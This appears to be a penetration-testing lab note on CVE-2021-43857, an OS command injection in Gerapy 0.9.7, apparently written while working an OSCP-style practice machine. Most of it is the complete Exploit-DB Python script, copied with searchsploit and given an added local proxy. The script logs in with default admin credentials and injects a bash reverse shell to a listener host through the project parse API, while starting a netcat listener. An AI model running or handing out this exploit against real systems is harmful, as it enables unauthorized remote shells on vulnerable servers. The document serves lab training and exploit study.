CVE-2021-43857


The target Gerapy instance appears to be vulnerable to CVE-2021-43857 due to its outdated version; 0.9.7

A vulnerability classified as critical has been found in Gerapy up to 0.9.7. Affected is an unknown function. The manipulation with an unknown input leads to a os command injection vulnerability. CWE is classifying the issue as CWE-78. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.

Exploit


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/levram]
└─$ searchsploit -m python/remote/50640.py ; mv 50640.py CVE-2021-43857.py
  Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50640
     Path: /usr/share/exploitdb/exploits/python/remote/50640.py
    Codes: CVE-2021-43857
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/PEN-200/PG_PRACTICE/levram/50640.py

Exploit locally available

Modification


# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6
 
# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
 
http_proxy  = "http://localhost:8080"
proxies = { 
              "http"  : http_proxy
            }
 
#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess
 
banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')
 
login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED
 
class Exploit:
 
	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport
 
	def exploitation(self):
		payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""
 
		#Login to the app (getting auth token)
		url = "http://" + target_ip + ":" + target_port
		r = requests.Session()
		print("[*] Resolving URL...")
		r1 = r.get(url)
		time.sleep(3)
		print("[*] Logging in to application...")
		r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True, proxies=proxies)
		time.sleep(3)
		if (r2.status_code == 200):
			print('[*] Login successful! Proceeding...')
		else:
			print('[*] Something went wrong!')
			quit()
 
		#Create a header out of auth token (yep, it's bad as it looks)
		dict = json.loads(r2.text)
		temp_token = 'Token '
		temp_token2 = json.dumps(dict['token']).strip('"')
		auth_token = {}
		auth_token['Authorization'] = temp_token + temp_token2
		print(auth_token)
 
		#Get the project list
		print("[*] Getting the project list")
		r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True, proxies=proxies)
		time.sleep(3)
 
		if (r3.status_code != 200):
			print("[!] Something went wrong! Maybe the token is corrupted?")
			quit();
 
		#Parse the project name for a request (yep, it's worse than earlier)
		dict = r3.text # [{'name': 'test'}]
		print(dict)
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		name = dict3[0]['name']
		print("[*] Found project: " + name)
 
		#use the id to check the project
		print("[*] Getting the ID of the project to build the URL")
		r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
		time.sleep(3)
		if (r4.status_code != 200):
			print("[*] Something went wrong! I can't reach the found project!")
			quit();
 
		#format the json to dict
		dict = r4.text
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		id = dict3['id']
		print("[*] Found ID of the project: ", id)
		time.sleep(1)
 
		#netcat listener
		print("[*] Setting up a netcat listener")
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)
 
		#exec the payload
		print("[*] Executing reverse shell payload")
		print("[*] Watchout for shell! :)")
		r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
		listener.wait()
 
		if (r5.status_code == 200):
			print("[*] It worked!")
			listener.wait()
		else:
			print("[!] Something went wrong!")
			listener.terminate()
 
def get_args():
	parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
	parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
	args = parser.parse_args()
	return args
 
args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport
 
exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()

A proxy was added to observe the exploit behavior